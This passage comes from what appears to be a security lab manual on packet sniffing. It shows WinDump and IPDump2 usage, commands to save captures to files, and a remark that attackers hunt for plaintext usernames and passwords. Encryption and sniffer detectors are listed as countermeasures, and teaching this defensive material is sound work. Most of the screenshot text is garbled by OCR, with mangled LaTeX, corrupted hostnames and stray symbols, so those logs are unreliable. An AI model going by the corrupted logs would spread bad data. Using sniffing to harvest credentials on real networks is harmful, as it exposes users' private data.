Explor	11:40:28.256855 IP 54.233.187.99.80 > win-2000-v-1.1415: P 10448:10722(274) ack 3215 win 8576	
e e e e e e e e e e e e e e e e e e e	11:40:28.255908 IP win-2000-u-1.1415 > 64.233.187.99.80: . ack 10722 win 64240 (DF)	
	11:40:28.260680 IP win-2000-v-1.1415 > 64.233.187.99.80: P 3215:3600(385) ack 10^{-1} 722 win 64240 (DF)	
Winzi	11:40:28.300740 IP 64.233.187.99.80 > win−2000-v−1.1415: P 10722:10849(127) ack 3600 win 8576	
	11:40:28.386803 IP win-2000-v-1.137 > 64.233.187.99.137: udp 50 11:40:28.421051 IP win-2000-v-1.1415 > 64.233.187.99.80: P 3600:3879(279) ack 10	
8-	849 win 64113 (DF) 11:40:28.438865 arp who-has danielle-s (Broadcast) tell home	
LanSp	11:40:28.475338 IP 64.233.187.99.80 > win-2000-v-1.1415: . 10849:12279(1430) ack 3879 win 8576	
	11:40:28.476167 IP 64.233.187.99.80 > win-2000-v-1.1415: P 12279:12552(273) ack 3879 win 8576	
	11:40:28.476213 IP win-2000-v-1.1415 > 64.233.187.99.80: . ack 12552 win 64240 (DF)	
:::	11:49:28.480244 IP win=2000-v=1.1415 > 64.233.187.99.80: P 3879:4264(385) ack 12▼	1.41.004
adaca	C C C C C C C C C C C C C C C C C C C	1:41 API
		······································

WinDump also allows you to save the output to a file for further analysis by redirecting the output to a file by typing:



windump >> output.txt

In this example, the output will be saved to a file named **output.txt**. To stop the application, hold down the **Ctrl** key plus the **C** key.



By opening the file you can analyze the captured data.

قِيَّا Windows 2000 Professional - YMware Workstation	_0×
File Edit View VM Team Windows Help	
🟫 Home 📑 Windows 2000 Professional 👔 Red Hat Linux 👔 Red Hat Linux 8 Server 📑 Windows 2000 Server 👔 Windows 2000 Server	ndovvs 4 🕨 🗙
🖉 output - Notepad	_ <u>-</u> - <u>-</u>
File Edit Format Help	
$\begin{array}{l} 11.44:05.92374 \ {\rm pr}\ 64.233.187.99.80 > win-2000-v-1.1420: p 13722:14003(271) act 3388 with 61.44:05.923817 \ {\rm pr}\ 47.2000-v-1.1421 > 64.233.187.99.80: act 1403 with 64240 (DF) 11.44:05.923817 \ {\rm pr}\ 47.2000-v-1.1421 > 64.233.187.99.80: p 1356:1541(385) \ act 328 with 61.44:05.928344 \ {\rm pr}\ with 2200-87.1420 > 64.233.187.99.80: p 1388:3667(279) \ act 1541 \ {\rm vit}\ 55.1144:06.111710 \ {\rm pr}\ with 2200-87.1420 > 64.233.187.99.80: p 388:3667(279) \ {\rm act}\ 1400 \ {\rm with}\ 1383 \ {\rm vit}\ 11.44:06.111710 \ {\rm pr}\ with 2200-87.1420 > 64.233.187.99.80: p 3388:3667(279) \ {\rm act}\ 1400 \ {\rm with}\ 1383 \ {\rm vit}\ 11.44:06.111710 \ {\rm pr}\ with\ 2200-87.1420 > 64.233.187.99.80: p 3388:3667(279) \ {\rm act}\ 1400 \ {\rm with}\ 1383 \ {\rm vit}\ 11.44:06.15671 \ {\rm p}\ with\ 2200-87.1420 > 64.233.187.99.80: p 1388:3667(27) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2300-0v-1.1420: p 1433:1570(272) \ {\rm act}\ 3306 \ {\rm vit}\ 2306 \ {\rm vit}\ 23$	n 8576
4	
Start 74 @ P OCIDownloadsWill @CIW/INITISwite @Google - Microsoft / Joutout - Notenad	0 🖬 11-44.0M
adaren i a e a i a denneration a dennerationen die segore segore al dienter serenden dr.	

*Note: Attackers are looking for any unencrypted (plain text) data that flows along the network. Some of the items of interest are:

- Usernames
- Passwords
- E-mails
- IP addresses
- MAC addresses
- Router IP addresses

Lab 45: Packet Capture — Sniffer

Monitor IP Network Traffic Flow: IPDump2

Prerequisites: None

Countermeasures: Encryption, various sniffer detector applications

- **Description:** The IPDump2 application is a command-line utility that allows for the monitoring of the network traffic flow. The output can be saved to a file for further diagnoses. This type of capture used in conjunction with switch bypass techniques can be valuable to an attacker to determine which computers communicate with which other servers. This application does not give details of the packets captured by displaying the flow of the traffic captured. Remember that all Linux commands are *case sensitive*.
- **Procedure:** For Windows simply execute from the directory containing the executable. For Linux, uncompress and execute with the following syntax:

ipdump2 (interface) <options>

For Linux

From the directory containing the compressed files type **tar** –**zxvf ipdump2**-**pre1.tgz**.

The files will uncompress into a new directory named **ipdump2-pre1**. Change to the new directory by typing **cd ipdump2-pre1** and pressing **Enter**. Execute by typing

./ipdump2 eth0

***Note:** The interface in this example is *eth0* as it is the only interface in this virtual machine. If you have multiple NICs you may wish to use other NICs by incrementing the number: *int1, int2*, ppp0, ppp1, and so on.



The traffic will appear on the screen identifying the IP addresses of each packet as well as which port each packet is coming from and destined to. Unless instructed otherwise, the application will continue to run until the **Ctrl** plus the **C** key is pressed. The packets are displayed as:

Date - Time - Protocol - Source IP Source Port - Dest. IP - Dest Port

📓 Red Hat Linux - YMware Workstation		_ ×
File Edit View VM Team Windows Help		
🗥 Home 🔄 Windows 2000 Professional 🔒 Red Hat Linux 👫 Red Hat Linux 8 Server 🔚 Windows 200	0 Server 🛛 🚮 Windows 🖓	4 ▶ ×
▼ root@localhost:~/tools/iptool/ipdump2-pre1	×	
<u>Eile Edit View Terminal Go H</u> elp		
10-12 18:35:30 TCP: 209.132.177.50 : 2560 -> 172.16.1.45 : 0	706 🔺	
10-12 18:35:30 TCP: 172.16.1.45 : 2560 -> 209.132.177.50 : 0	52	
10-12 18:35:30 TCP: 172.16.1.45 : 26469 -> 209.132.177.50 : 12144	551	
10-12 18:35:30 TCP: 209.132.177.50 : 2560 -> 172.16.1.45 : 0	704	
10-12 18:35:30 TCP: 172.16.1.45 : 2560 -> 209.132.177.50 : 0	52	
10-12 18:35:30 TCP: 172.16.1.45 : 12144 -> 209.132.177.50 : 28263	549	
10-12 18:35:30 TCP: 209.132.177.50 : 5120 -> 172.16.1.45 : 37120 :	558	
10-12 18:35:30 TCP: 172.16.1.45 : 24935 -> 209.132.177.50 : 25903	552	
10-12 18:35:30 TCP: 209.132.177.50 : 5120 -> 172.16.1.45 : 37120 !	543	
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 :	548	
10-12 18:35:30 TCP: 209.132.177.50 : 5120 -> 172.16.1.45 : 37120 :	578	
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 :	548	
10-12 18:35:30 TCP: 209.132.177.50 : 0 -> 172.16.1.45 : 3401 (612	
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412	548	
10-12 18:35:30 TCP: 209.132.177.50 : 0 -> 172.16.1.45 : 13	616	
10-12 18:35:30 TCP: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 !	548	
10-12 18:35:30 TCP: 209.132.177.50 : 0 -> 172.16.1.45 : 13	584	
10-12 18:35:30 TCP: 172.16.1.45 : 11369 -> 209.132.177.50 : 28001	545	
10-12 18:35:30 TCP: 209.132.177.50 : 0 -> 172.16.1.45 : 13	584	
10-12 18:35:30 TCP: 209.132.177.50 : 0 -> 172.16.1.45 : 13	932	- And
10-12 18:35:30 TCP: 172.16.1.45 : 0 -> 209.132.177.50 : 13	52	
10-12 18:35:30 TCP: 172.16.1.45 : 0 -> 209.132.177.50 : 13	52	
[root@localhost ipdump2-pre1]#	·	
	Sat N	lov 12
	6:3	5 PM
	0.0	

*Note: Keep in mind that the traffic you see is completely dependent upon the environment the computer "sniffing" resides in. For example, if the network link you are using is connected to a network hub, you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to your connection. There is a way to "sniff" traffic on a switch to show all traffic to a specific or every computer on a switch, which will be covered in Chapter 9.

IPDump2 also allows for the saving of the output to a file for later analysis by typing:

Image: Constraint of the second se		
Sore i: Model: Sole Biol: Social Biol: Sole Biol: Social Biol: Sole Biol:		
$\begin{array}{c c c c c c c c c c c c c c c c c c c $	Wholews 2000 Serv	er 🚮 Windows 4 🕨
$ \begin{array}{c c c c c c c c c c c c c c c c c c c $	- 0	N X
$\begin{array}{cccccccccccccccccccccccccccccccccccc$		
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	12144 551	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	0 704	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	0 52	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	28263 549	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	37120 558	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	25903 552	
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	37120 543	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	26412 548	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	37120 578	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	26412 548	
$ \begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	3401 612	
$\label{eq:2.1.2} $ = 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 09.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 09.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 & -> 172.16.1.45 : -12 18:35:30 TCP: 172.16.1.45 : 0 & -> 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 & -> 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 & -> 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 & -> 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 & -> 209.132.177.50 : -5 00000000000000000000000000000000$	26412 548	
$ \begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	13 616	
$\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	26412 548	
$\label{eq:constraint} \begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr$	13 584	
-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : -12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : -12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : oot@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt	28001 545	
-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : -12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : -2 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : oot@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt	13 584	
-12 18:35:30 TCP: 172.16.1.45 : 0 -> 209.132.177.50 : -12 18:35:30 TCP: 172.16.1.45 : 0 -> 209.132.177.50 : oot@localhost ipdumpZ-prel]# ./ipdumpZ eth0 >> captured.txt	13 932	
-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : oot@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt	13 52	
oot@localhost ipdump2-prel]# ./ipdump2 eth0 >> captured.txt	13 52	
	13 52	2000
19 20 10 20 - 10 10	1	Sat Nov 6:36 P

./ipdump2 eth0 >> captured.txt

The IPDump2 application will run all data sent to a file named **cap-tured.txt**.

Point Bocalhoot-by/Doi/by/D	· Internet				Chroni			L.F.	addeeded to far added to	101		and stated by	1.11	International International	The local division in which the	6
E/e E/e E/e Memory Terminal Go He/p 0-12 18:35:30 TCP: 172.16.1.45: 260.132.177.50: 122.46.1.45: 0 704 0-12 18:35:30 TCP: 203.132.177.50: 2209.132.177.50: 222.63 549 0-12 18:35:30 TCP: 203.132.177.50: 512.44 500 52 0-12 18:35:30 TCP: 122.16.1.45: 122.44 500 52.242.53 549 0-12 18:35:30 TCP: 120.18.1.45: 124.43 500 512.17.50: 5280 0-12 18:35:30 TCP: 120.13.2.177.50: 5120 > 172.16.1.45: 37120 548 0-12 18:35:30 TCP: 172.16.1.45: 37120 548 0-12 18:35:30 TCP: 172.16.1.45: 37120 578 0-12 18:35:30 TCP: 172.16.1.45: 3401 161 0-12 18:35:30 TCP: 172.16.1.45: <th>rool</th> <th>@localhost:</th> <th>-/lools/</th> <th>iptool/ipdu</th> <th>mp2 pre1</th> <th>88</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th>- 0</th> <th>X</th> <th></th> <th></th> <th></th>	rool	@localhost:	-/lools/	iptool/ipdu	mp2 pre1	88						- 0	X			
0-12 18:35:30 TCP: 172.16.1.45 : 24640 → 209.132.177.50 : 12144 551 0-12 18:35:30 TCP: 209.132.177.50 : 2560 → 172.16.1.45 : 0 774 0-12 18:35:30 TCP: 172.16.1.45 : 2560 → 209.132.177.50 : 0 52 0-12 18:35:30 TCP: 172.16.1.45 : 12144 → 209.132.177.50 : 28263 549 0-12 18:35:30 TCP: 209.132.177.50 : 130 → 172.16.1.45 : 37120 558 0-12 18:35:30 TCP: 172.16.1.45 : 1310 → 172.16.1.45 : 37120 543 0-12 18:35:30 TCP: 172.16.1.45 : 130 → 172.16.1.45 : 37120 543 0-12 18:35:30 TCP: 172.16.1.45 : 130 → 172.16.1.45 : 37120 543 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 24412 548 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 24412 548 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 24412 548 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 122.16.1.45 : 28782 → 209.132.177.50 : 24412 548 0-12 18:35:30 TCP: 122.16.1.45 : 130 → 209.132.177.50 : 24412 548 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 root&localhost ipdump2-prel)# /ipdump2 eth0 >> captured.txt root&localhost ipdum	Elle	Edit View	Term	inal <u>G</u> o	Help								100			
$\begin{array}{l c c c c c c c c c c c c c c c c c c c$	0-12	18:35:30	TCP:	172.	16.1.45	:	26469	->	209.132.177.50	: 1	12144	551				
$\begin{array}{c c c c c c c c c c c c c c c c c c c $	0-12	18:35:30	TCP:	209.132	.177.50	:	2560	->	172.16.1.45	: (0	704				
0-12 18:25:30 TCP: 172.16.1.45 : 12144 → 209.132.177.50 : 28263 549 0-12 18:25:30 TCP: 209.132.177.50 : 1300 → 172.16.1.45 : 37120 558 0-12 18:35:30 TCP: 209.132.177.50 : 13120 → 172.16.1.45 : 37120 558 0-12 18:35:30 TCP: 209.132.177.50 : 3120 → 172.16.1.45 : 37120 548 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 37120 578 0-12 18:35:30 TCP: 120.16.145 : 28782 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.16.145 : 28782 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.16.145 : 28782 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.16.145 : 13782 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.16.145 : 1306 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.16.145 : 1306 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.16.145 : 1306 → 209.132.177.50 : 24912 548 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 120.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 rootelocalhost ipdump2-prel]# /ipdump2 eth0 >> captured.txt rootelocalhost ipdump2-prel]#	0-12	18:35:30	TCP:	172.	16.1.45	:	2560	->	209.132.177.50	: (0	52				
0-12 18:35:30 TCP: 200,132.177.50 : 5120 \rightarrow 172.16.1.45 : 37120 558 0-12 18:35:30 TCP: 172.16.1.45 : 24935 \rightarrow 209.132.177.50 : 25903 552 0-12 18:35:30 TCP: 200,132.177.50 : 5120 \rightarrow 172.16.1.45 : 37120 543 0-12 18:35:30 TCP: 201,32.177.50 : 5120 \rightarrow 172.16.1.45 : 37120 578 0-12 18:35:30 TCP: 201,32.177.50 : 5120 \rightarrow 172.16.1.45 : 37120 578 0-12 18:35:30 TCP: 201,32.177.50 : 0 \rightarrow 172.16.1.45 : 3401 612 0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 201,32.177.50 : 0 \rightarrow 172.16.1.45 : 3401 612 0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 200,33.177.50 : 0 \rightarrow 172.16.1.45 : 13 616 0-12 18:35:30 TCP: 200,32.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200,32.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200,32.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200,32.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200,32.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 172.16.1.45 : 1360 \rightarrow 209.132.177.50 : 2601 545 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 root6localhost ipdump2-prel}# /ipdump2 eth0 \Rightarrow captured.txt root6localhost ipdump2-prel}#	0-12	18:35:30	TCP:	172.	16.1.45	:	12144	->	209.132.177.50	: :	28263	549				
0-12 18:35:30 TCF: 172.16.1.45 : 24035 → 200.132.177.50 : 25003 552 0-12 18:35:30 TCF: 200.132.177.50 : 1510 → 172.16.1.45 : 37120 543 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 200.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 1366 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 122.16.1.45 : 1369 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 209.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 209.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 122.16.1.45 : 1360 → 209.132.177.50 : 13 52 TCF: 172.16.1.45 : 0	0-12	18:35:30	TCP:	209.132	.177.50	:	5120	->	172.16.1.45	: 1	37120	558				
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	0-12	18:35:30	TCP:	172.	16.1.45	:	24935	->	209.132.177.50	: :	25903	552				
0-12 18:35:30 TCF: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 209.132.177.50 : 130 \rightarrow 172.16.1.45 : 37120 578 0-12 18:35:30 TCF: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 1306 \rightarrow 207.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 1306 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 172.16.1.45 : 1306 \rightarrow 209.132.177.50 : 28001 545 0-12 18:35:30 TCF: 172.16.1.45 : 130 \rightarrow 209.132.177.50 : 13 52 0-12 18:35:30 TCF: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 0-12 18:35:30 TCF: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 root6localhost ipdump2-prel}# /ipdump2 eth0 \Rightarrow captured.txt root6localhost ipdump2-prel}#	0-12	18:35:30	TCP:	209.132	.177.50	:	5120	->	172.16.1.45	: :	37120	543				
$\begin{array}{l c c c c c c c c c c c c c c c c c c c$	0-12	18:35:30	TCP:	172.	16.1.45	:	28782	->	209.132.177.50	: :	26412	548				
0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 209.132.177.50 : 0 \rightarrow 172.16.1.45 : 3401 612 0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 18782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 18782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 18782 \rightarrow 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 1306 \rightarrow 209.132.177.50 : 28001 545 0-12 18:35:30 TCP: 172.16.1.45 : 130 \rightarrow 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 root6localhost ipdump2-prel}# /ipdump2 eth0 \Rightarrow captured.txt root6localhost ipdump2-prel}#	0-12	18:35:30	TCP:	209.132	.177.50	:	\$120	->	172.16.1.45	: 1	37120	578				
0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 3401 612 0-12 18:35:30 TCP: 172.16.1.45 : 28782 \rightarrow 200.132.177.50 : 26412 548 0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 13 616 0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 13 544 0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200.132.177.50 : 0 \rightarrow 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 200.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 \rightarrow 209.132.177.50 : 13 52 root@localhost ipdump2-prel]# ./ipdump2 eth0 \Rightarrow captured.txt root@localhost ipdump2-prel}#	0-12	18:35:30	TCP:	172.	16.1.45	:	28782	->	209.132.177.50	: :	26412	548				
0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 616 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 172.16.1.45 : 1306 → 209.132.177.50 : 2601 545 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 982 0-12 18:35:30 TCP: 172.16.1.45 : 130 → 209.132.177.50 : 13 584 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 root0localhost ipdump2-prel}# /ipdump2 eth0 ≫ captured.txt root0localhost ipdump2-prel}#	0-12	18:35:30	TCP:	209.132	.177.50	:	0	->	172.16.1.45	: 1	3401	612				
0-12 18:35:30 TCP: 200.132.177.50 : 0 → 172.16.1.45 : 13 616 0-12 18:35:30 TCP: 172.16.1.45 : 28782 → 209.132.177.50 : 26412 548 0-12 18:35:30 TCP: 200.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 200.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 209.132.177.50 : 0 → 172.16.1.45 : 13 584 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 0-12 18:35:30 TCP: 172.16.1.45 : 0 → 209.132.177.50 : 13 52 root@localhost ipdump2-prel]\$./ipdump2 eth0 >> captured.txt root@localhost ipdump2-prel]\$./ipdump2 eth2 >> captured.txt	0-12	18:35:30	TCP:	172.	16.1.45	:	28782	->	209.132.177.50	: :	26412	548				
0-12 18:35:30 TCF: 172.16.1.45 : 28782 -> 209.132.177.50 : 26412 548 0-12 18:35:30 TCF: 209.132.177.50 : 0 -> 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 172.16.1.45 : 1369 -> 209.132.177.50 : 28001 545 0-12 18:35:30 TCF: 209.132.177.50 : 0 -> 172.16.1.45 : 13 584 0-12 18:35:30 TCF: 102.132.177.50 : 0 -> 172.16.1.45 : 13 932 0-12 18:35:30 TCF: 172.16.1.45 : 13 932 0-12 18:35:30 TCF: 172.16.1.45 : 13 932 0-12 18:35:30 TCF: 172.16.1.45 : 0 -> 209.132.177.50 : 13 52 0-12 18:35:30 TCF: 172.16.1.45 : 0 -> 209.132.177.50 : 13 52 root0localhost ipdump2-prel}# /ipdump2 eth0 >> captured.txt root0localhost ipdump2-prel}#	0-12	18:35:30	TCP:	209.132	.177.50	:	0	->	172.16.1.45	: 1	13	616				
